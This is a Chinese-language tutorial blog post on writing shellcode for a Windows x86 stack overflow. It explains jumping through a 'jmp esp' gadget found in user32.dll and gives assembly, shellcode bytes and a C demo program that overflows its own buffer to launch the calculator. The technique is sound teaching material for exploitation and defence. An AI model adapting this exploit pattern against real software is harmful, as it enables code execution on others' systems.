栈溢出攻击 shellcode 编写
引言
之前的文章写了原理在这:栈溢出攻击 原理
这次我们就讲讲shellcode怎么写
shellcode 如何写
思考
上一篇文章我们讲了攻击原理,我们可以覆盖掉EIP,使程序在ret时跳转到我们覆盖的地址,执行call。
但是这无法使其执行我们自己的汇编代码
,因为我们目前能做的仅仅是覆盖ESP导致EIP错误,继续向下覆盖可覆盖掉参数。除非有一个CALL能实现跳转到指定地址,我们才能实现执行我们自己的shellcode
.
有没有可以指定jmp的call呢?
我们想方设法在ntdll或user32中找这种功能的call,但无法找到。难道就无法实现这种功能吗?
也不一定非要找到call啊。我们可以换个思路。
首先,我们需要知道,我们可控的事实上就只有ESP。
且代码段是不变的,DLL被加载后,DLL的代码段同样是不变的,我们不需要找到这种功能的CALL,我们只需要在DLL代码段找到一行汇编代码即可:jmp esp
。
这时我们通过覆盖ESP让EIP指向这行汇编代码,我们就能做到我们想要做的事了:让程序执行我们自己的汇编代码。
还原eip过程:当我们将esp覆盖为这个jmp esp
的地址后,程序在ret时取出esp中保存的eip,赋值给eip,然后将esp + 4,此时esp指向的就是我们的shellcode了。当运行到jmp esp时,就开始从我们shellcode的开始位置往下执行了。
user32中有很多地方都有jmp esp,我们随便拿一个用就可以。假设我找到了这个地址是0x75efb5e9
。
实现
我们现在使用我们自己的shellcode弹一个计算器。
写汇编代码
OD或者XDBG加载我们的程序,随便找个地方开始汇编,反正我们也只是为了记录shellcode的字节码.
push 0x0 //截断字符串,因为我们只能每次push 4个字节 覆盖esp,字符串从后向前压栈,所以我们先push 结束字符的\0,虽然这里push的实体是1个字节,但esp指针在x86下就是4字节。
push 0x636C6163 //63616c63 是calc的16进制ascii码,反过来push
mov eax,esp //将当前esp地址赋值给eax,因为什么看原理那篇文章,我们需要给的是字符串地址,当前ESP现在指向的就是calc,你也可以直接push esp
push eax
call system //这个system地址 系统版本不同可能地址也不同我这里不写死了,用system代替
上面在OD中写完之后,我们直接将字节码复制出来。
栗子:
char name[] = "aaaaaaaabbbb";
DWORD jmpesp = 0x75efb5e9;
byte shellcode[] = "\x6A\x00" //push 0x0
"\x68\x63\x61\x6C\x63"// push 0x636C6163 也就是calc字符串
"\x8B\xC4\x50" //字符串指针地址 也就是calc当前esp 的地址
"\xE8\x46\x2c\xf0\x78" // call 0x790a2af0 shellcode是相对偏移,所以要根据esp算,最快的方法是od和xdb直接写复制出来就行
;
void test() {
char buffer[8];
memcpy(buffer, name, 12);//8字节是正常大小 多出来4字节覆盖ebp
memcpy(buffer + 12, &jmpesp, 4);//+12 eip 放jmp esp地址
memcpy(buffer + 16, &shellcode, 22);//+16 写shellcode
}
int main()
{
LoadLibrary(L"user32.dll");
test();
return 0;
}
需要注意的是,模块导入后每个人的基址都不同,所以通用的动态shellcode需要更复杂的写法,计算函数名hash,通过peb遍历找模块,然后最终定位到jmp esp